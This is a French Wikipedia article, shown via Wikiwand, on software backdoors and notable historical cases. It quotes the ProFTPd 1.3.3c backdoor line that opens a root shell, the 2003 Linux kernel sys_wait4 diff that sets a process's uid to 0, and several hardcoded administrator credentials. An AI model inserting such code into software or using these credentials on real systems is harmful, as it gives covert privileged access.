Loading AI tools
fonctionnalité d'un logiciel inconnue de l'utilisateur De Wikipédia, l'encyclopédie libre
Dans un logiciel, une porte dérobée (de l'anglais backdoor, litt. « porte de derrière ») est une fonctionnalité inconnue de l'utilisateur légitime, qui donne un accès secret au logiciel.
L'introduction d'une porte dérobée dans un logiciel à l'insu de son utilisateur transforme le logiciel en cheval de Troie.
Une porte dérobée peut être introduite soit par le développeur du logiciel, soit par un tiers. La personne connaissant la porte dérobée peut l'utiliser pour surveiller les activités du logiciel, voire en prendre le contrôle (par contournement de l'authentification). Enfin, selon l'étendue des droits que le système d'exploitation donne au logiciel contenant la porte dérobée, le contrôle peut s'étendre à l'ensemble des opérations de l’appareil exécutant le logiciel (ordinateur, smartphone, dispositif de surveillance, objets connectés, etc).
La généralisation de la mise en réseau des appareils et ordinateurs connectés rend les portes dérobées nettement plus utiles que du temps où un accès physique à l'ordinateur était la règle.
Parmi les motivations amenant les développeurs de logiciel à créer des portes dérobées, il y a :
Parmi les motivations amenant les pirates informatiques à installer une porte dérobée :
Pour installer des portes dérobées en masse, les pirates utilisent des vers. Ceux-ci se répandent automatiquement et installent un serveur informatique sur chaque machine infectée. Ensuite le pirate peut se connecter à travers Internet au serveur.
Une porte dérobée peut aussi être insérée par voie d'Easter egg, de compilateur (voir la section plus bas Le cas du compilateur C Unix: Trusting Trust), ou peut prendre la forme d'un programme, comme Back Orifice.
En 1983, l'informaticien américain Kenneth Thompson décrit, dans sa conférence Turing intitulée Reflections on Trusting Trust et sous-titrée[1] :
autrement dit :
comment il aurait été possible d'insérer une porte dérobée dans tous les programmes en C compilés sur Unix. De plus, vu que les versions mises à jour de ce compilateur, qui n'est rien d'autre qu'un autre programme compilé, sont compilées à partir du compilateur C préexistant, l'algorithme d'insertion de la porte dérobée se serait fait transmettre d'une mise à jour à une autre. Donc, si ce compilateur à porte dérobée avait été « lâché dans la nature » (en anglais : released in the wild) à l'origine, alors n'importe quel compilateur de C insérerait possiblement des portes dérobées de nos jours.
Il est à noter que la porte dérobée présente dans tous les programmes C compilés n'apparaîtrait jamais dans le code source en C.
L'appellation trust (pour confiance) vient du fait que le compilateur C d'origine est considéré par son utilisateur final comme une boîte noire digne de confiance.
Pour un programmeur qui ne comprend pas le fonctionnement d'un tel compilateur, mais lui fait confiance, il serait difficile de penser qu'un programme, qu'il a lui-même écrit puis compilé, contient une porte dérobée[2].
Le , une clef secrète permettant de s'authentifier en tant que root (Administrateur) sur la majorité des appareils vendus par F5 a été révélée[3]. La faille a été corrigée par le vendeur le [4]. Cette clef étant présente sur tous les appareils vulnérables, le bug a obtenu un Pwnie Award (en)[5] durant la conférence BlackHat USA 2012.
Le , un compte caché a été trouvé[6],[7],[8] dans le système de stockage HP StorageWorks P2000 G3 : le nom d'utilisateur « admin » et le mot de passe « !admin » permet de s'identifier avec le maximum de privilèges. Il n'est pas possible de supprimer ce compte, par contre il est possible d'en changer le mot passe en passant par la ligne de commande[9] (commande « set password admin password ...
»).
Le , le tarball de la dernière version (1.3.3c) du serveur FTP ProFTPd a été remplacé par une version contenant une porte dérobée sur le serveur FTP officiel du projet[10]. La porte dérobée ajoute une commande « HELP ACIDBITCHEZ » qui ouvre un shell en tant que l'utilisateur root[11]. Le tarball a été propagé sur l'ensemble des miroirs officiels. La compromission a été découverte[12] le , et corrigée le . La porte dérobée a notamment ajouté la ligne suivante au fichier src/help.c :
if (strcmp(target, "ACIDBITCHEZ") == 0) { setuid(0); setgid(0); system("/bin/sh;/sbin/sh"); }
L'attaquant s'est introduit sur le serveur FTP en utilisant une faille du module SQL de PostgreSQL qui permet d'exécuter du code à distance. Cette faille a été publiée[13] le dans le numéro 67 du magazine Phrack. La faille est corrigée[14] par la version 1.3.3d de ProFTPd.
Trois comptes ont été découverts dans un système de visioconférence Cisco, Cisco Unified Videoconferencing (UVC), modèles System 5110 et 5115, utilisant le système d'exploitation Linux. C'est Florent Daigniere qui a découvert ces comptes durant un audit et il les a diffusés sur la liste de diffusion Full Disclosure le [15],[16]. Cisco a publié un bulletin de sécurité le même jour[17]. Il s'agit des comptes « root », « cs » et « develop » qui ne peuvent ni être modifiés, ni être supprimés. Ils permettent un accès distant par les protocoles FTP et SSH. D'autres failles ont été découvertes durant cet audit.
Le , une porte dérobée a été introduite[18] dans le noyau Linux directement sur le serveur CVS par un attaquant se faisant passer pour David S. Miller (développeur noyau). Elle a été détectée dès le lendemain[19]. Le serveur CVS était un miroir du dépôt officiel utilisant BitKeeper[20]. La porte dérobée a été greffée très synthétiquement, elle consiste en deux lignes de langage C, ajoutées à la fonction sys_wait4 du fichier « kernel/exit.c » :
+ if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
+ retval = -EINVAL;
La condition (current->uid = 0)
est censée être lue par un lecteur particulièrement naïf comme une comparaison « si le numéro d'utilisateur du processus est 0 (root) » mais signifie en réalité en langage C l'affectation « le numéro d'utilisateur du processus devient 0 (root) ». Le résultat est que si cette fonction sys_wait4() truquée était appelée avec les paramètres __WCLONE|__WALL, le processus prenait l'identité de root, le niveau d'utilisateur disposant des droits d'accès maximaux.
Cette modification visait à profiter de la confusion entre divers langages de programmation, où le symbole de la comparaison de deux valeurs est le signe = (Pascal, Ada, ML...) et d'autres où c'est la double égalité ==
qui joue ce rôle (C, C++, Java...), le signe = signifiant alors une affectation d'une valeur à une variable. Cette modification avait peu de chances de passer inaperçue, car ce type d'erreur est peu compatible avec le niveau en informatique de programmeurs travaillant sur le noyau Linux. Le langage C étant le langage de programmation le plus utilisé sur les systèmes de la famille Unix, très peu d'utilisateurs non débutants se seraient laissé prendre.
De plus, le processus de développement collectif d'un logiciel (notamment celui d'un logiciel libre) impose que chaque modification soit validée ; elle doit pour cela avoir une justification légitime. Ainsi, toute modification, aussi minime soit-elle, apparaît dans les diff et soulève de légitimes interrogations si elle n'a pas une justification claire.
_NSAKEY est le nom d'une variable découverte en août 1999 dans le système d'exploitation Windows NT 4 (SP5) de Microsoft. Cette version fut diffusée sans que les informations destinées au débugage soient enlevées. La variable découverte par Andrew D. Fernandes de Cryptonym Corporation contenait une clé publique de 1024 bits. La nouvelle provoqua un tollé général et l'apparition de diverses rumeurs concernant une éventuelle conspiration gouvernementale. Si la NSA avait effectivement été en possession de la clé secrète correspondant à la clé présente dans Windows NT, il lui aurait été possible de chiffrer des données provenant des utilisateurs et, avec la complicité de Microsoft, de récupérer ces informations.
Une porte dérobée a été découverte dans le système de gestion de base de données Interbase le [21], lors de l'ouverture du code source par son éditeur, Borland. Il suffisait d'entrer le nom d'utilisateur « politically » et le mot de passe « correct » (politically correct, littéralement "politiquement correct" en français) pour se connecter en administrateur. Cette porte dérobée a été introduite entre 1992 et 1994[22]. Ce compte ne pouvant pas être modifié ou supprimé, il fallait par conséquent installer une nouvelle version d'Interbase ne contenant pas ce compte caché.
En 1991 aux Etats-Unis, Michael Riconosciuto a affirmé avoir reprogrammé le programme de gestion de cas d'Inslaw (Promis) avec une « porte dérobée » secrète pour permettre le traçage clandestin d'individus. Riconosciuto a déclaré qu'il avait été menacé de poursuites par un fonctionnaire du ministère de la Justice[23]. Riconosciuto a fourni un affidavit détaillant les menaces à un comité spécial de la Chambre des représentants enquêtant sur l'affaire Inslaw[24],[25].
Des BIOS de certains fabricants[26] (dont les deux principaux, AMI et AWARD) ont un mot de passe caché permettant d'accéder au BIOS même s'il est protégé par un mot de passe choisi par l'utilisateur. Le mot de passe caché dépend du modèle de BIOS.
Les cartes-mères Intel comportent depuis 2008 un management Engine permettant de faire de la maintenance à distance, et qui comporte une faille découverte en 2018. Les cartes-mères AMD (Platform Security Processor) ont aussi connu des failles[27].
Les liseuses Kindle ont une porte dérobée permettant l'effacement de livres numériques à distance[28].
Dans les affaires suivantes, une modification d'un logiciel a introduit une faille de sécurité, sans que l'auteur de la modification ne l'ait fait volontairement. L'auteur n'avait pas les compétences pour évaluer que sa modification puisse introduire une faille de sécurité, ou plus simplement il n'a pas pensé à l'impact qu'elle pouvait avoir sur la sécurité du produit.
Le , une faille de sécurité a été introduite involontairement dans la version Debian de la bibliothèque OpenSSL. C'est le mainteneur du paquet OpenSSL, Kurt Roeckx, qui a introduit le [29] une faille de sécurité dans OpenSSL en voulant corriger[30] un avertissement de l'outil Valgrind, qui était en fait un faux-positif. Le fait que la modification ait introduit une faille de sécurité est involontaire : Kurt Roeckx a pris contact[31] avec les développeurs d'OpenSSL pour demander conseil, mais une confusion s'est ensuivie. La première version vulnérable, 0.9.8c-1, a été téléchargée dans la distribution instable le . La faille a été trouvée en et corrigée le [32].
La modification d'OpenSSL a réduit l'entropie du générateur de nombres aléatoires à seulement environ 15 bits : seul l'identifiant de processus (PID) était utilisé. Un identifiant peut avoir une valeur entre 1 et PID_MAX (32768), ce qui ne donne que 32 767 graines possibles[33]. Au niveau des clés de chiffrement, il en existe trois fois plus, 98 301, car la génération des clés dépend de l'architecture, et dans ce cas 3 architectures différentes entrent en jeu (little-endian 32 bits, little-endian 64 bits et big-endian 32 bits).
L'installeur du système d'exploitation Ubuntu, dans sa version 5.10 (Breezy Badger, sortie le ) uniquement, écrivait le mot de passe de l'utilisateur root dans plusieurs fichiers de log lisible par n'importe quel utilisateur. Le bug a été trouvé par Karl Øie le [34], puis corrigé le même jour[35]. Ce bug permet à un utilisateur local d'élever ses privilèges. Il est plus probable qu'il s'agisse d'un oubli des programmeurs de l'installeur qu'une faille de sécurité introduite volontairement.
Le scénario du film américain WarGames repose sur une porte dérobée. Le concepteur d'un système informatique militaire y insère une porte dérobée sous la forme d'un mot de passe non documenté qui y donne accès. Ce mot de passe donne aussi accès à des fonctionnalités non-documentées du programme, qui donne au système de contrôle d'armement l'apparence d'un jeu vidéo de simulation de guerre.
Dans le film Tron : L'Héritage Sam Flynn s'introduit dans la grille à l'aide d'un identifiant en porte dérobée.
Dans la série Person of Interest, une porte dérobée implantée dans un système de surveillance de masse appartenant au gouvernement appelé la Machine permet à deux hommes de l'utiliser secrètement.
Dans le jeu vidéo Watch Dogs 2, Marcus Holloway injecte une backdoor dans le CtOS 2.0.
Seamless Wikipedia browsing. On steroids.
Every time you click a link to Wikipedia, Wiktionary or Wikiquote in your browser's search results, it will show the modern Wikiwand interface.
Wikiwand extension is a five stars, simple, with minimum permission required to keep your browsing private, safe and transparent.